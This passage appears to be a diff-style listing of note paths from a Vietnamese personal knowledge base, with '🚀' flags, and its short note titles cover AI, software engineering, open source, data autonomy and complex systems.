sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "AI. Dữ liệu lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI", + "Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "AI không làm nghệ thuật được, vì nó phải đưa ra những lựa chọn ngầm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Dữ liệu có thể là ngôn ngữ mà tất cả mọi người đều hiểu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Máy học", + "Không giám sát nghĩa là giả định rằng người huấn luyện không có giả định nào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Máy học", + "Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Máy học", + "Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Ngành khoa học dữ liệu còn nhiều thuật ngữ không có sự ổn định về nghĩa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Trung tâm dữ liệu", + "40% lượng điện của các trung tâm dữ liệu là để cho việc làm mát" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Trung tâm dữ liệu", + "Dấu chân carbon của việc tính toán đã vượt qua công nghiệp hàng không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Dữ liệu, AI", + "Trung tâm dữ liệu", + "Ngành công nghiệp siêu tính toán được xây dựng trên nền tảng thuộc địa từ việc khai thác tài nguyên ở các nước bán cầu nam" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Code được dùng nhiều hơn được đọc, được đọc nhiều hơn được viết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Kiến trúc", + "Các cuốn sách về phương pháp lập trình được viết bởi những người làm phần mềm nội bộ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Kiến trúc", + "Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Kiến trúc", + "Không phải vì một thứ có thể làm một điều mà ta nên dùng nó để làm điều đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Kiến trúc", + "Phần mềm nội bộ không cần dễ dùng và không phải kiểm thử trên nhiều môi trường khác nhau, cũng không sợ bị cạnh tranh" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Ngôn ngữ lập trình không giúp con người làm được nhiều hơn những gì ngôn ngữ lập trình bậc thấp làm được. Nó chỉ giúp con người làm ra ít lỗi hơn mà thôi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Người mới lập trình thường chỉ biết muốn biết làm sao để code chạy được. Người có kinh nghiệm còn quan tâm đến tính dễ bảo trì, mở rộng và bắt lỗi của code" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Người mới lập trình thường hỏi nên dùng cú pháp, thư viện, hay ngôn ngữ nào. Lập trình viên nhiều kinh nghiệm thường tập trung vào các khái niệm trừu tượng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Khi lạc trong một thành phố, ta mở bản đồ lên coi và định vị được bức tranh tổng thể. Khi lạc trong code, ta mở UML lên và càng thấy rối hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Khi đang có việc và phải bỏ dở để học một công cụ, ta không nhức đầu khi đó là công cụ vật lý, nhưng lại nhức đầu khi đó là công cụ số" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Lý do không dùng lại code của người khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Lập trình là lĩnh vực dễ nhức đầu vì cần phải học rất nhiều công cụ khác nhau trong lúc làm việc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Mỗi lần nghiên cứu thư viện mới là lại phải gom tất cả quyết tâm và năng lượng để làm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Ngành kỹ thuật phần mềm không có một ngôn ngữ thị giác chung" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Ngành kỹ thuật phần mềm không thể viết nên một phần mềm để tạo bản thiết kế cho chính ngành của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Nhức đầu", + "Viết code dễ hơn đọc code" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Thời gian hoàn thành", + "90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Thời gian hoàn thành", + "Kể cả những người đã làm lố thời gian quá nhiều vẫn luôn lạc quan mình sẽ làm xong sớm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Thời gian hoàn thành", + "Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Tương lai của một ngôn ngữ phụ thuộc vào việc lý do ra đời của nó và lý do để sử dụng nền tảng dựa trên nó có còn cần nữa hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Đánh đổi", + "Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Đánh đổi", + "Các đánh đổi tạo ra nhiều tổ hợp giải pháp khác nhau cho cùng một nhu cầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Đánh đổi", + "Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Đánh đổi", + "Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "Đánh đổi", + "Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Kỹ thuật phần mềm", + "❓ Học code bằng việc debug product code sẽ nhanh hơn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Người không làm lĩnh vực lập trình không được tạo điều kiện để trưởng thành về mặt quản trị dữ liệu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Nhân học", + "Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Nhân học", + "Lập trình viên biết lập trình chủ yếu là nhờ biết google" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Nhân học", + "Người không học về lập trình thấy việc lập trình như làm phép thuật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Nhân học", + "Người viết code thường làm một mình, không được hỗ trợ, không được trả tiền, chỉ vì sự đam mê. Họ cần xây dựng rất nhiều mối quan hệ tin tưởng được nhau" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Các công ty đầu tư vào dự án mã nguồn mở khi nó nó là hàng hoá bổ sung cho sản phẩm chính của họ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Khái niệm ❝chính phủ mở❞ như một dạng kết hợp giữa chính phủ và mã nguồn mở làm lu mờ trách nhiệm giải trình của chính phủ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Những người ly khai khỏi phong trào phần mềm tự do chán nản với việc RMS chỉ nói về cái mình muốn chứ không nói cái người ta muốn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "O'Reilly ứng dụng lý thuyết structural differential của Korzybski vào việc tạo ra khái niệm open source và web 2.0" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "OSI muốn các công ty đón nhận mã nguồn mở bằng việc nhấn mạnh vào cộng đồng và lợi thế cạnh tranh từ phương thức sản xuất mới này" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Quyên góp cho mã nguồn mở thiếu sự khẩn cấp và đồng cảm cá nhân mà các tổ chức từ thiện hay có" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "So với mã nguồn đóng, mã nguồn mở làm giảm thu nhập đáng kể nhưng lại tăng khối lượng công việc hơn nhiều lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "The decentralized, non-hierarchical nature of the public coding community makes it difficult to secure pay for coders" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Thời gian trung bình từ lúc một phần mềm đến lúc có phần mềm mã nguồn mở tương đương là 7 năm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Từ nào mà mọi người đều nhìn thấy nó theo cách của mình thì là một từ thành công với O'Reilly" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc PR mã nguồn mở" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Việc sử dụng từ ❝mở❞ đã khiến cho O'Reilly thành công trong việc đánh đồng internet với mã nguồn mở" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở", + "Ý tưởng rằng làm dự án mã nguồn mở sẽ có cộng đồng lớn có lẽ không tồn tại trước thời OSI" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Mã nguồn mở, phần mềm tự do" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "FSF muốn bảo vệ con người khỏi bị khai thác, thao túng" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Khái niệm tài sản trí tuệ không có cơ sở vững chắc" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Không phải lúc nào chức năng chính của những thứ thông minh là thứ khiến bạn mua nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Những trường hợp sử dụng phần mềm không tự do nhưng không gây hại" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Từ ❝mở❞ dễ bị lạm dụng hoặc hiểu sai hơn là ❝tự do❞" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Việc mở mã nguồn thường được xem như là một món quà cho cộng đồng, chứ không phải là một nghĩa vụ phải làm với xã hội" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Phần mềm tự do", + "Đa số mọi người nghĩ rằng các công ty lớn như Microsoft, Google tạo ra code từ đầu đến cuối, nhưng thực ra họ chỉ mua lại code và bán thương hiệu của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Quyền được đọc là quyền được cào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Theo luật Mỹ, phần nói về trách nhiệm phải được viết in hoa" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Tự trị dữ liệu", + "Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Tự trị dữ liệu", + "Nếu bạn không kiểm soát chương trình bạn dùng, người khác sẽ kiểm soát nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Tự trị dữ liệu", + "Việc phải trả tiền cho phần mềm để được đọc dữ liệu của mình không khác gì bị tống tiền" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Tự trị dữ liệu", + "Việc trung tâm hoá tạo ra lợi thế kinh tế nhờ quy mô lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự trị dữ liệu. Mã nguồn mở, phần mềm tự do", + "Tự trị dữ liệu", + "Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Việc lưu trữ dữ liệu tại máy cá nhân và ở định dạng đơn giản sẽ giúp người dùng quen thuộc hơn với việc lập trình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Các cửa sổ phần mềm không giống như một bàn làm việc thật" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Các ngành khác đều làm việc với những vật thể cụ thể trong không gian. Chỉ có ngành lập trình là không có điều đó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Lập trình thực ra là dùng ẩn dụ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Mental modal trong ngành lập trình thực ra chỉ là những ẩn dụ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Triết học ngôn ngữ là trung tâm của triết học khoa học máy tính" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Việc web dùng ẩn dụ trang giấy giới hạn cách nghĩ của ta về web" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Ẩn dụ là cách ta hiểu code bằng cơ thể" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Công nghệ thông tin", + "Ẩn dụ và mental model", + "Ẩn dụ máy tính như là bàn làm việc đã giúp mọi người biết làm việc với máy tính" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Cộng đồng bao gồm những người có cùng tầm nhin. Hệ sinh thái thì không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Giá trị của một mạng lưới điện thoại tỉ lệ với bình phương số thành viên của nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Hiệu ứng mạng là hiệu ứng mà mỗi một người dùng gia nhập vào mạng lưới sẽ tạo thêm giá trị và cải thiện chất lượng cho cả mạng lưới đó" +] + +🚀: true +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Muốn phát triển thì vào vòng lặp dương. Muốn bền vững thì vào vòng lặp âm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Mọi thứ luôn nằm ở chỗ cuối cùng bạn tìm thấy nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Một số người xem việc kết quả phụ thuộc vào xác suất là bất định, kể cả khi mình biết xác suất đó là gì. Một số người xem việc đó là tất định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Nhiều thứ ta thấy là bất định thực ra là vì không có thời gian để xác định quy luật hoặc kiểm nghiệm giả thiết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Những hệ tập trung thì có ưu điểm là dễ quản lý và vận hành hiệu quả trong thời gian ngắn, nhưng nếu bị tấn công một cách có chiến lược thì dễ chết" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Phân loại, phi tuyến", + "Việc hướng đến sự ngăn nắp là đang hướng đến việc tạo ra một thế giới trong đầu" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Phân loại, phi tuyến", + "Ý tưởng về rhizome khác với tư duy phi tuyến và hệ phức hợp ở chỗ nó đi tới được các khái niệm như bản đồ và cao nguyên" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Phân loại, phi tuyến", + "❓Hệ thống phân cấp đã có từ thời linh trưởng, chứ không cần phải tới thời Aristotle" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Rủi ro mang ý nghĩa mất mát, nhưng nhiều khi nó chỉ là không được sự tối ưu nhưng vẫn được thêm" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Sự hấp dẫn về hệ thống phân cấp đã ăn sâu vào tiềm thức của ta, mặc dù bộ não phát triển theo hướng rhizome" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Sự tự tổ chức là không tránh khỏi nhưng không dự báo trước được" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Sự tự tổ chức sự tạo mẫu hình một cách phi tuyến" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Sự đáp ứng đòi hỏi ta nhận diện được rằng ta không thể hoàn toàn biết được tương lai của mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Ta thường cẩn thận với những quyết định một lần" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Trí tuệ đám đông được sinh ra từ sự đa dạng và độc lập của những cá nhân" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Vòng lặp dương giúp củng cố tình trạng hiện tại, tránh sự tác động từ bên ngoài, tự bảo tồn chính nó" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ phức hợp", + "❓Mối quan hệ giữa hệ phức hợp và siêu vật là gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Con người dường như được thiết kế để thể hiện ý định qua cảm xúc hơn là lời nói" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Hệ sinh thái là vùng đất" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Khi được hỏi về các rào cản làm cản trở mối quan hệ đối tác, phía doanh nghiệp chủ yếu nói về việc thiếu năng lực, còn phía các tổ chức xã hội chủ yếu nói về việc không cùng hướng đi" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Tổ chức xã hội", + "Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Tổ chức xã hội", + "Các dự án xã hội không tập trung vào việc đối thoại với người bên cạnh mình" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Tổ chức xã hội", + "Ngay cả ở các tổ chức xã hội cũng có khoảng cách giàu nghèo lớn" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "Để tham gia vào một hệ sinh thái đòi hỏi người tham gia phải nắm được thuật ngữ" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng đồng, hệ sinh thái, hệ phức hợp", + "Hệ sinh thái", + "❓Có cách nào để đánh giá giá trị networking của một chương trình trước khi tham gia không?" +] + +🚀: false +[ + "", + "⚡Hiểu biết sâu", + "Cộng 